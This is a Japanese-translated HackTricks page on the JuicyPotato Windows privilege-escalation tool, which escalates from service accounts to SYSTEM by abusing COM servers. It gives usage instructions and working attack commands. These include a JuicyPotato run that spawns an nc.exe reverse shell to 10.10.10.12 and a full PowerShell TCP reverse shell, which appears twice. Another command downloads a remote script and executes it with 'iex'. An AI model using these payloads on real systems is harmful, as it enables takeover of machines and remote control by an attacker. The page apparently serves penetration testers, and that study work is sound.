hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md
2023-07-07 23:42:27 +00:00

13 KiB
Raw Blame History

JuicyPotato

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

{% hint style="warning" %} JuicyPotatoはWindows Server 2019とWindows 10ビルド1809以降では動作しません。ただし、PrintSpooferRoguePotatoSharpEfsPotatoを使用して、同じ特権を利用してNT AUTHORITY\SYSTEMレベルのアクセスを取得することができます。チェック: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (黄金特権の悪用)

_RottenPotatoNG_の砂糖を加えたバージョンで、つまりWindowsサービスアカウントからNT AUTHORITY\SYSTEMへのローカル特権エスカレーションツールです。

juicypotatoはhttps://ci.appveyor.com/project/ohpe/juicy-potato/build/artifactsからダウンロードできます。

概要

RottenPotatoNGとそのバリエーションは、BITS サービスに基づく特権エスカレーションチェーンを利用します。MiTMリスナーは127.0.0.1:6666で動作し、SeImpersonateまたはSeAssignPrimaryTokenの特権を持っている場合に使用されます。Windowsビルドのレビュー中に、意図的にBITSが無効にされ、ポート6666が使用されているセットアップを見つけました。

RottenPotatoNGを武器化することにしました:Juicy Potatoをご紹介します。

理論については、Rotten Potato - サービスアカウントからSYSTEMへの特権エスカレーションを参照し、リンクと参照の連鎖をたどってください。

私たちは、BITS以外にも悪用できるいくつかのCOMサーバーがあることを発見しました。これらのサーバーは次の条件を満たす必要があります。

  1. 現在のユーザーによってインスタンス化可能であること(通常は「サービスユーザー」で、模倣特権を持っています)
  2. IMarshalインターフェースを実装すること
  3. 昇格されたユーザーSYSTEM、Administratorなどとして実行すること

いくつかのテストの結果、いくつかのWindowsバージョンで興味深いCLSIDのリストを取得し、テストしました。

Juicyの詳細

JuicyPotatoを使用すると、次のことができます。

  • ターゲットのCLSID 好きなCLSIDを選択します。 ここ でOSごとに整理されたリストを見つけることができます。
  • COMリスニングポート マーシャリングされたハードコードされた6666の代わりに、好きなCOMリスニングポートを定義します。
  • COMリスニングIPアドレス サーバーを任意のIPにバインドします。
  • プロセス作成モード 模倣されたユーザーの特権に応じて、次から選択できます。
  • CreateProcessWithTokenSeImpersonateが必要)
  • CreateProcessAsUserSeAssignPrimaryTokenが必要)
  • both
  • 起動するプロセス エクスプロイトが成功した場合に実行する実行可能ファイルまたはスクリプトを起動します。
  • プロセス引数 起動するプロセスの引数をカスタマイズします。
  • RPCサーバーアドレス ステルスアプローチのために、外部のRPCサーバーに認証することができます。
  • RPCサーバーポート 外部サーバーに認証する場合に便利ですが、ファイアウォールがポート135をブロックしている場合...
  • テストモード 主にテスト目的で使用します。つまり、CLSIDのテストです。DCOMを作成し、トークンのユーザーを表示します。テストについては こちらを参照してください

使用方法

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

最終的な考え

ユーザーが SeImpersonate または SeAssignPrimaryToken 特権を持っている場合、あなたは SYSTEM です。

これらのすべての COM サーバーの乱用を防ぐことはほぼ不可能です。DCOMCNFG を介してこれらのオブジェクトのアクセス許可を変更することを考えることができますが、がんばってください、これは困難になるでしょう。

実際の解決策は、* SERVICE アカウントで実行される機密アカウントとアプリケーションを保護することです。DCOM を停止すると、このエクスプロイトは確かに阻止されますが、基になる OS に重大な影響を与える可能性があります。

参照元: http://ohpe.it/juicy-potato/

注意: 試すための CLSID のリストについては、このページを参照してください。

nc.exe の逆シェルを取得する

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

Powershellのrev

$socket = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234)
$stream = $socket.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$socket.Close()

Powershellのrev

$socket = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234)
$stream = $socket.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$socket.Close()
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

新しいCMDを起動するRDPアクセスがある場合

CLSIDの問題

しばしば、JuicyPotatoが使用するデフォルトのCLSIDは機能しないため、エクスプロイトが失敗します。通常、動作するCLSIDを見つけるために複数の試行が必要です。特定のオペレーティングシステムに対して試すためのCLSIDのリストを取得するには、次のページを参照してください

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

CLSIDの確認

まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。

Join-Object.ps1をダウンロードし、PSセッションにロードし、GetCLSID.ps1をダウンロードして実行します。このスクリプトは、テストする可能性のあるCLSIDのリストを作成します。

次に、test_clsid.batCLSIDリストとjuicypotato実行可能ファイルのパスを変更してくださいをダウンロードして実行します。すべてのCLSIDを試し始め、ポート番号が変わると、CLSIDが機能したことを意味します

パラメータ -c を使用して、動作するCLSIDを確認します。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥